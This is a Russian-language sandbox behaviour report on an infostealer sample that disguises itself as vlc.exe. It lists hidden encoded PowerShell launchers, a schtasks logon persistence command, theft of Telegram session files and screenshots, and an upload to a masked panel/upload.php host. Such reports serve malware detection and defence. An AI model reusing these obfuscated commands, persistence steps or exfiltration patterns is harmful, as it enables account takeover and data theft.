Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\vlc.exe
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c Po^W^Ers^HE^ll -E WwBTAHkAUwBUAGUAbQAuAHQAZQB4AFQALgBlAE4AYwBvAEQASQBuAEcAXQA6ADoAdQBOAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBHACgAWwBzAFkAcwB0AEUAbQAuAGMAbwBuAFYARQBSAFQAXQA6ADoAZgByAG8ATQBC...
Внедряет код в
следующие пользовательские процессы:
- vlc.exe
Изменения в файловой системе
Создает следующие файлы
- %HOMEPATH%\bite0cd.tmp
- %TEMP%\f43cfafc02\log.txt
- %APPDATA%\videolan\vlc.exe
- %TEMP%\tmp75c9.tmp.bat
- nul
- %TEMP%\f43cfafc02\screenshot.jpeg
- %TEMP%\f43cfafc02\telegram desktop\tdata\90ef50e22e92cb8c0
- %TEMP%\f43cfafc02\telegram desktop\tdata\d877f783d5d3ef8c1
- %TEMP%\f43cfafc02\telegram desktop\tdata\prefix
- %TEMP%\f43cfafc02\telegram desktop\tdata\settings0
- %TEMP%\f43cfafc02\telegram desktop\tdata\shortcuts-custom.json
- %TEMP%\f43cfafc02\telegram desktop\tdata\shortcuts-default.json
- %TEMP%\f43cfafc02\telegram desktop\tdata\usertag
- %TEMP%\f43cfafc02\telegram desktop\tdata\d877f783d5d3ef8c\map0
- %TEMP%\f43cfafc02\dotnetzip-xycrhmwn.tmp
Присваивает атрибут 'скрытый' для следующих файлов
- %HOMEPATH%\bite0cd.tmp
Удаляет следующие файлы
- %TEMP%\f43cfafc02\log.txt
- %TEMP%\f43cfafc02\screenshot.jpeg
- %TEMP%\f43cfafc02\telegram desktop\tdata\90ef50e22e92cb8c0
- %TEMP%\f43cfafc02\telegram desktop\tdata\d877f783d5d3ef8c\map0
- %TEMP%\f43cfafc02\telegram desktop\tdata\d877f783d5d3ef8c1
- %TEMP%\f43cfafc02\telegram desktop\tdata\prefix
- %TEMP%\f43cfafc02\telegram desktop\tdata\settings0
- %TEMP%\f43cfafc02\telegram desktop\tdata\shortcuts-custom.json
- %TEMP%\f43cfafc02\telegram desktop\tdata\shortcuts-default.json
- %TEMP%\f43cfafc02\telegram desktop\tdata\usertag
- %TEMP%\f43cfafc02\user_united states_f43cfafc02_06-03-2020 12.31.24.zip
Перемещает следующие файлы
- %HOMEPATH%\bite0cd.tmp в %HOMEPATH%\jabfmo.exe
- %TEMP%\f43cfafc02\dotnetzip-xycrhmwn.tmp в %TEMP%\f43cfafc02\user_united states_f43cfafc02_06-03-2020 12.31.24.zip
Подменяет следующие файлы
- %TEMP%\f43cfafc02\log.txt
Сетевая активность
Подключается к
- 'el###.website':80
TCP
Запросы HTTP GET
- http://go###izm.com/wp-content/themes/busify/tr/712089330.jpg
- http://ap#.#pify.org/
Запросы HTTP POST
- http://el###.website/panel/upload.php
UDP
- DNS ASK go###izm.com
- DNS ASK ap#.#pify.org
- DNS ASK el###.website
Другое
Создает и запускает на исполнение
- '%HOMEPATH%\jabfmo.exe'
- '%APPDATA%\videolan\vlc.exe'
- '<SYSTEM32>\cmd.exe' /c Po^W^Ers^HE^ll -E WwBTAHkAUwBUAGUAbQAuAHQAZQB4AFQALgBlAE4AYwBvAEQASQBuAEcAXQA6ADoAdQBOAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBHACgAWwBzAFkAcwB0AEUAbQAuAGMAbwBuAFYARQBSAFQAXQA6ADoAZgByAG8ATQBC...' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn vlc.exe /tr '"%APPDATA%\VideoLAN\vlc.exe"' & exit' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -E WwBTAHkAUwBUAGUAbQAuAHQAZQB4AFQALgBlAE4AYwBvAEQASQBuAEcAXQA6ADoAdQBOAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBHACgAWwBzAFkAcwB0AEUAbQAuAGMAbwBuAFYARQBSAFQAXQA6ADoAZgByAG8ATQBCAGEAUwBFADYANABTAH...
- '%WINDIR%\syswow64\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn vlc.exe /tr '"%APPDATA%\VideoLAN\vlc.exe"' & exit
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\tmp75C9.tmp.bat""
- '%WINDIR%\syswow64\schtasks.exe' /create /f /sc onlogon /rl highest /tn vlc.exe /tr '"%APPDATA%\VideoLAN\vlc.exe"'
- '%WINDIR%\syswow64\timeout.exe' 3
